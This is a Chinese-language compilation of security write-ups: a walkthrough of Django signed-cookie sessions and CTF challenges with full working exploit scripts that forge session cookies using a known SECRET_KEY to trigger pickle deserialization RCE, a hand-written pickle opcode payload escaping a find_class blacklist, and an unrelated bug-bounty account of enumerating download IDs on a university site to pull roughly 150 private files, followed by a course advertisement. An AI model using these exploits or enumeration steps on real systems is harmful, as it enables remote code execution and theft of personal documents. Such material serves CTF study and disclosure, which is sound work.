self.key = key or settings.SECRET_KEY # key默认为settings中的配置项
self.sep = sep
if _SEP_UNSAFE.match(self.sep):
raise ValueError(
'Unsafe Signer separator: %r (cannot be empty or consist of '
'only A-z0-9-_=)' % sep,
)
self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
def signature(self, value):
# 利用salt、value、key做一次签名
return base64_hmac(self.salt + 'signer', value, self.key)
def sign(self, value):
return '%s%s%s' % (value, self.sep, self.signature(value))
def unsign(self, signed_value):
if self.sep not in signed_value:
raise BadSignature('No "%s" found in value' % self.sep)
value, sig = signed_value.rsplit(self.sep, 1)
if constant_time_compare(sig, self.signature(value)):
return value
raise BadSignature('Signature "%s" does not match' % sig)
还有一个是时间戳的验签部分
class TimestampSigner(Signer):
def timestamp(self):
return baseconv.base62.encode(int(time.time()))
def sign(self, value):
value = '%s%s%s' % (value, self.sep, self.timestamp())
return super().sign(value)
def unsign(self, value, max_age=None):
"""
Retrieve original value and check it wasn't signed more
than max_age seconds ago.
"""
result = super().unsign(value)
value, timestamp = result.rsplit(self.sep, 1)
timestamp = baseconv.base62.decode(timestamp)
if max_age is not None:
if isinstance(max_age, datetime.timedelta):
max_age = max_age.total_seconds()
# Check timestamp is not older than max_age
age = time.time() - timestamp
if age > max_age:
raise SignatureExpired(
'Signature age %s > %s seconds' % (age, max_age))
return value
时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较
漏洞调试
我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)
老惯例,先看栈帧
django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求
AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份
随后调用Django auth模块下的get_user函数和_get_user_session_key函数
随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化
loads函数中的操作
首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码
最后扔入pickle进行字节码解析
漏洞利用
首先利用条件如下:
以cookie方式存储session,实现了交互。
以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE
EXP如下:
import os
import django.core.signing
import requests
# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
protocol = pickle.HIGHEST_PROTOCOL
def dumps(self, obj):
return pickle.dumps(obj, self.protocol)
def loads(self, data):
return pickle.loads(data)
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"
class exp():
def __reduce__(self):
# 返回一个callable 及其参数的元组
return os.system, (('calc.exe'),)
_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)
resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})
Code-Breaking-Django调试
这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
find_class沙盒逃逸
关于find_class:
简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name): # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist: # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
# 校验data是否为字符串
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data) # 读取data
return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法
class Person:
def __init__(self, name):
self.name = name
# 获取对象属性值
person = Person("Alice")
name = getattr(person, "name")
print(name)
# 调用对象方法
a = getattr(builtins, "eval")
a("print(1+1)")
# 可以设置default值
age = getattr(person, "age", 30)
print(age)
builtins.getattr(builtins, "eval")("print(1+1)")
那么同理,也可以通过getattr调用eval
加载上下文:由于后端在实现时,import了一些包
(这部分包的上下文可以使用globals()函数获得)
所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等
getattr = GLOBAL('builtins', 'getattr') # GLOBAL为导入
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__') # 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return
查看Django.core.signing模块,复刻sign写exp
from django.core import signing
import pickle
import io
import builtins
import zlib
import base64
PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'
SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"
def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b"=")
base64d = b64_encode(PayloadToBeEncoded).decode()
def exp(key, payload):
global salt
# Flag for if it's been compressed or not.
is_compressed = False
compress = False
if compress:
# Avoid zlib dependency unless compress is being used.
compressed = zlib.compress(payload)
if len(compressed) < (len(payload) - 1):
payload = compressed
is_compressed = True
base64d = b64_encode(payload).decode()
if is_compressed:
base64d = "." + base64d
session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
print(session)
然后传session即可。
某985证书站挖掘记录
0x1.前言
本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。文中涉及漏洞均以提交至教育漏洞平台,现已修复。
0x2.背景
本人从9月10号开始挖掘教育网的漏洞,截至到10月10号已经上了一百多分,其中还挖掘到了多个证书站的漏洞。 然后经过有师傅提醒,说某某985证书快要上线了,我看了一下漏洞提交的还不算太多,这不赶紧抓住机会上分一波?从清楚目标到挖出漏洞不到一天(主打一个快速挖掘),于是就有了这篇文章。
0x3.信息搜集
渗透测试的第一要义是信息搜集,你能搜集到别人搜集不到的信息,你就能挖到别人挖不到的漏洞
这里推荐我使用的一个集成工具:oneforall,工具地址:https://github.com/shmilylty/OneForAll
然后收集到大量资产后,我会先初步使用httpx对一些路径进行快速批量探测:
httpx工具地址:https://github.com/projectdiscovery/httpx
httpx.exe -path /api/users -l target.txt -title -tech-detect -status-code -threads 50 -web-server -mc 200
这里将你搜集的资产的链接放在target.txt中
-path /api/users: 这是目标URL的路径,其中/api/users表示要测试的API端点的路径。
-title: 此选项指示工具在输出中包括目标网页的标题。
-tech-detect: 这个选项告诉工具进行技术检测,它将尝试识别目标URL上运行的Web服务器和后端技术。
-status-code: 此选项要求工具返回每个请求的HTTP响应状态代码。
-threads 50: 这个选项指定了并行执行的线程数,工具将使用50个线程同时测试目标URL。
-web-server: 此选项告诉工具输出目标URL上运行的Web服务器的信息。它可以显示服务器类型和版本等信息。
-mc 200: 这是一个过滤选项,它指定了匹配响应状态码的条件。在这里,-mc 200 表示只输出具有HTTP响应状态码为200的结果。
然后经过初步信息搜集后我锁定了某个可疑站点因为可疑直接注册,于是开始着手渗透。
0x4.渗透利用
漏洞点1--未授权访问
测了一下注册点逻辑,利用不了遂放弃进入后台。
然后我进入了个人后台,我发现了有数据申请的功能于是着手开测:
遇到上传点,我们测一测!
嗯?没有过滤吗?直接传上shell了?但是Burp抓包查看返回也没有留下上传路径遂作罢。
然后我点击了下载模板按钮抓包如下:
https://xxx.edu.cn/xxx/xxx/download/161
我的直觉告诉我这个链接非常可疑!
我这里直接改成其他数字,啪!直接把别人上传的隐私文件下载下来了!
通过burp快速探测我发现数字为 157 ---293都可以下载文件,也就是说泄露了快150个敏感文件。如果不修复这个漏洞的话,后面不管谁上传的文件都可能被任意下载。
还有多个学生证照片/教工证照片/内部信息文件等敏感信息。好嘞初步rank到手!
这里就可以解释一下我上传shell了但是却连接不上:
访问对应的链接发现:
Content-Disposition 是 HTTP 头字段之一,它通常用于指定如何处理由服务器返回的响应内容。
这里这个头的意思是告诉客户端浏览器,响应的内容应被视为附件(文件下载),而不是在浏览器中直接显示。我尝试绕过也没有成功,也就是说文件直接没有解析了所以getshell方面我就作罢了。
为了确保能上中危,我决定再继续测一点功能。
漏洞点2--水平越权
注册两个账户
截取POST包:
回显成功:
通过这样可以让任意申请进行提前提交。
0x5.总结
总的来说信息搜集非常重要,同时细心也非常重要。不要因为某个点没测成功就放弃了,可以多去尝试尝试其他的地方。而且想要快速出成果的话最好去找那种可以任意注册的站~
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

